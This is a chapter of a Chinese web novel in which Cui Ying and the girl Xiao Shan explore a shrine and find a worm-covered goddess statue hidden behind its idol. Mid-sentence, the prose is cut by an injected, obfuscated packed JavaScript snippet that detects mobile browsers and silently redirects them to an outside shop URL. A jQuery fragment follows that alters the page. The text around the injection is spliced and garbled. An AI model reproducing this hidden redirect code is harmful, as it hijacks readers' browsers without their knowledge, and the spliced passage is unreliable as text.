21. 一个人的抉择
作品:《替嫁之我给甲方收尸了》 崔荧这边看不到裴绍疆那边的现状,不过她自认为不会有人如此倒霉会直接看见第三座塑像。
毕竟如果她的猜测正确,那塑像现在也未必还有移动的能力,大抵只能龟缩起来以保全自己。
小山似乎对崔荧有关塑像的理论有些好奇,她将小脑袋凑到崔荧面前,“你这三个塑像理论又是怎么来的?”
崔荧也弯下腰看着小山,她盯着对方那双亮晶晶的眼睛,仿佛透过那双眼睛能看到身处她背后的人。
良久,她叹了一口气,直起身径直走向祠堂,“猜的。”
“什么?”小山还站在原地没有反应过来。
回过神,眼前只剩下崔荧的背影。
小山有些气急败坏地跑上前,追着那背影喊道,“你个大骗子,你骗小孩玩呢,还猜的,我才不……”
“唔!”
崔荧听见这小疯子喋喋不休的喊话,只觉得烦躁,直接停在了原地。
小山一个躲闪不及,径直撞上崔荧后背。
她双手捂着鼻子,这一下撞得狠了,眼睛里都冒着泪花,“你故意的吧,崔荧!”
“没大没小的小玩意,”崔荧抬手给了对方一个暴栗,提前预判了小山的起手,“别喊,刚刚可是你自己说的没什么想问的了。”
“之前不问,现在问,晚了。”
崔荧这一下敲得不轻不重,刚好能让小山吃痛又不会真的伤着她。
这小疯子挨了一下后,捂着额头,眼睛里还带着泪花呢,就已经换上了一副咬牙切齿的表情,那模样活像一只被惹急了的小野猫,随时准备扑上来挠人。
“你!”小山捂着额头,指着崔荧的指头都在抖,“你这个坏女人,我姐姐说你是好人,我看你就是个大坏蛋!”
崔荧挑了挑眉,慢悠悠地往前走,头也不回地说:“你姐姐那是识人不明,看走眼了。”
“我就是坏蛋,坏得流油那种,专门欺负小孩,骗小孩玩,还敲小孩脑门。”
“你要是聪明点,就该离我远点。”
小山被她这话噎得愣在原地,一时不知道该说什么。
等她回过神来,崔荧已经快走进祠堂里了。
小山连忙小跑着追上去,一边跑一边喊:“你等等我!你走那么快干什么!”
崔荧脚步不停,继续往前走,“进入祠堂后,不可大声喧哗。”
小山追上来,走在崔荧旁边,仰着头看着她。
那张小脸上表情复杂得很,又气又恼又好奇,这会儿倒是有点崔荧初见她时装出的那副小孩样了。
崔荧余光扫到她那副表情,心里觉得好笑,但面上不动声色。
“你那个什么三个塑像的理论,”小山憋了半天,终于忍不住又问了一遍,“真的是猜的?”
“嗯。”
“不可能!”
小山一脸不信,“你肯定知道什么,你就是不告诉我!”
崔荧停下脚步,低头看着她,那目光让小山后背有点发毛。
她下意识后退了半步,但还是梗着脖子,一副“我不怕你”的样子。
崔荧彻底被她逗笑了。
“小丫头,”崔荧弯下腰,凑到她面前,压低声音说,“你知道为什么我能在你这小疯子的威胁下活到现在吗?”
小山摇摇头。
“因为我比你更疯。”崔荧拍了拍她的脑袋,“疯子的想法,能用常理来解释吗?”
“我说是猜的,那就是猜的。”
“你要是再问,我也会喊那个名字,大不了咱俩同归于尽。”
小山瞪大眼睛,嘴唇动了动,想说什么又不敢说。
崔荧直起身,一脚迈进祠堂大门。
走了几步,身后传来小山小声的嘟囔:“大骗子……”
崔荧嘴角微微上扬。
这小疯子,还挺有意思的。
二人一前一后走进祠堂,崔荧能闻到那股扑面而来的香火气息比刚才更浓了,浓得让人有些喘不过气来。
她站在门口,目光扫过那些跪拜的香客,他们像是完全察觉不到崔荧与小山两个外来人,只专注于向大殿中央那座塑了金身的巨大塑像祈祷。
“求先生保佑我丈夫外出打猎平安归来。”
“求先生保佑我女能寻得一个好人家。”
“求先生今年能够继续庇佑我们村庄不为疾病困扰。”
……
此起彼伏的愿望回荡在大殿内,崔荧就这样站在大殿的中央,四周跪伏这一地的香客。
她抬头望向那座庄严的塑像,似乎感应到她们的到来,一阵风从殿外吹进,不偏不倚地吹开了塑像头部的薄纱。
“叮铃——”
这是风吹起四角檐铃的声音。
“先生显灵了!”
这是香客们在看见塑像面容时此起彼伏跪拜的声音。
“咯吱——”
这是小山牙齿互相摩擦发出的声音。
那塑像金身威严,头颅快挨上那挑高彩绘的天棚。
只是那被薄纱掩盖下的头颅上并没有五官,只有两颗宝石雕琢而成的眼珠,死死的嵌在那头部的中央。
“也是难为他们在这雾惘山找到这种品质的宝石了。”
小山听见崔荧的感叹本想说点什么,又记起进来时崔荧的嘱托,就这么硬生生的忍了下来。
但她的眼睛一刻都没有离开那座塑像。
双眼中那是一种让人心惊的愤恨。
满嘴银牙咬的咯噔作响,脸色阴沉的可以滴出水。
崔荧注视这那雕像的双眼,不禁叹了口气。
多么讽刺,真正为自己的子民献出血肉的女神不知被遗弃在何处,这些愚蠢的村民还在拼命地跪拜未来会导致一切发生的罪魁祸首。
他们拆了女神的庙宇,遗弃了自己先祖的牌位,将一切的希望寄托在一个恶贯满盈的“先生”身上。
崔荧轻柔的扶开小山攥紧的拳头,她轻轻地牵起小女孩的手,柔声道,“山神是不是很傻。”
小山将头偏向一边,没作声,但那兔子般的眼睛已经暴露了自己的情绪。
崔荧摇了摇头,牵起她绕过那些还在不停跪拜的民众,像塑像身后走去,“等你长大后就会明白了。”
那些香客们对她们视若无睹,只是一味地沉浸在自己的祈祷里,一句一句的愿望此起彼伏,像是某种永远不会停止的咒语。
崔荧从他们身边经过的时候,能闻到一股若有若无的腥味,那是腐烂的味道,是死亡的味道,是这些东西本不该存在的味道。
她握紧小山的手,继续往前走。
塑像的身后的区域被笼罩在阴影中,相比前殿的金碧辉煌,这里是那么的破败。
没有香客,没有供奉,只有光秃秃的墙壁和堆放在角落里的杂物。
些杂物落满了灰尘,看起来像是被遗忘了很多年。
这种诡异的违和感就像是装修这座祠堂时,工匠们只装修了前半,而后面这些不需要见人的地方只是草草了事的维持了最初的样子。
崔荧停下脚步,环顾四周。
她注意到墙壁上有一些奇怪的痕迹,活像是被什么东西抓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335793|198939||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出来的,一道一道,深深浅浅,从墙根一直延伸到天花板上。
那些痕迹边缘已经模糊,泛着陈旧的色彩,但依稀能看出当初抓挠时的绝望和疯狂。
小山也看见了那些痕迹,她的脸色难得苍白了几分。
她小声问道,“这是什么?”
崔荧没有回答,只是蹲下来,仔细查看那些痕迹。
她的手顺着那些抓痕的走势缓缓移动,从下往上,从深到浅,最后停在一个位置上——那个位置的墙壁上,有一块颜色略微不同的砖。
崔荧伸出手,按在那块砖上。
砖是松的。
她用力一按,那块砖竟然往里缩了进去,发出“咔哒”一声轻响。
墙壁上就这样裂开了一道缝隙。
那缝隙很窄,窄得堪堪只容一个人侧身通过。
一阵风从缝隙中吹出,带着一股潮湿的、腐朽的气息,还有一丝若有若无的血腥味。
小山踉跄着后退一步,躲到崔荧身后。
她又问道,“这是什么?”
崔荧目力远超旁人,她一眼便看见那缝里密密麻麻的红色,爬了一墙又一墙。
像是骤然感受到外界的气息,那些红色的东西劈里啪啦地落了满地。
而那一片浑浊的红色汪洋中心,正矗立着一座女人的塑像。
她的神情是那么的肃穆、宁静。
仿佛一切所受的苦痛、厄难、尖嚎、鲜血……
与她子民的幸福相比不过尔尔。
满室的鲜红犹如对这位慈悲的女神的献祭,像是无尽的血色花朵开遍了神像的四周。
崔荧小心地探进一根手指,那些红色依旧平静着。
她扣下了墙壁上一抹红色,离开缝隙的阴影,那抹鲜红无力地瘫软在她的手中,像一条狰狞的红绳。
小山双眼无神的看着眼前的一切,她只是机械般的重复着,“这是什么?”
崔荧依旧没有回答,她只是将那“红绳”扔到地上,再用脚狠狠碾成碎片。
小山看着崔荧的行为,这次她有些激动的上前,抓住崔荧的衣领喊道,“我问你这是什么!”
崔荧偏过头,过长的碎发遮住了她的眼睛,也遮住了眼底的情绪,就像裴绍疆初见她时的那一抹黑绸,让人琢磨不透。
“你没有在问我,你只是在问你自己,问另一边的那个你。”
崔荧又叹了口气,她觉得自从进了雾惘山她叹的气总是格外多,“你心中早就有了自己的答案了,小山。”
小山松开了崔荧的衣领,失魂落魄地跌坐在地,“我怎么可能会知道……”
“姐姐,姐姐,姐姐!”
“姐姐你不要不理小山好不好,姐姐你告诉小山好不好?”
跌坐在地,小山第一次像一个真正的孩童般痛哭流涕,她哭闹,尖叫,但崔荧这一次难得的没有制止她。
崔荧看着脚下残留的红色粉末,那些克制已经没有必要了,无论什么物种都不能死而复生,哪怕是神也不例外。
那满室的红色并不是别的,那正是雾惘山常年肆虐的红线虫啊!
她抬头望向那四周满是脱落的红色线虫的女神像,这东西就像贪婪的水蛭,会吮吸着一切的活物。
唯有死亡才能逃脱。
而现在这些线虫脱离一地,顷刻就将化作粉末。
崔荧抓住小山不住拍打的手腕,不顾她的挣扎将小孩用力拽了起来。
“有些事只有现在的你才能做决定。”崔荧将她推向那道缝隙,“我做不到,未来的你也做不到。”

